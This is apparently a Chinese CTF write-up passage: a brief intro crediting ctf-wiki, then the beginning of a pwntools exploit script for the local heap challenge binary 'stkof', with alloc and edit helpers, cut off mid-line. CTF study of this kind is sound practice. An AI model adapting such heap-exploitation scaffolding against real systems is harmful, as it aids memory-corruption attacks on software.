思路借鉴于ctf-wiki,但ctf-wiki之中的思路较简略,且exp有一点疏忽的地方,故在此记录
代码如下:
#coding:utf-8
from pwn import *
context(arch='amd64',os='linux')
context.log_level = 'debug'
io = process('./stkof')
elf = ELF('./stkof')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
def alloc(size):
io.sendline('1')
io.sendline(str(size))
io.recvuntil('OK\n')
def edit(index,size,content):
io.sendline('2')
io.sendline(str(index))
io.sendline(str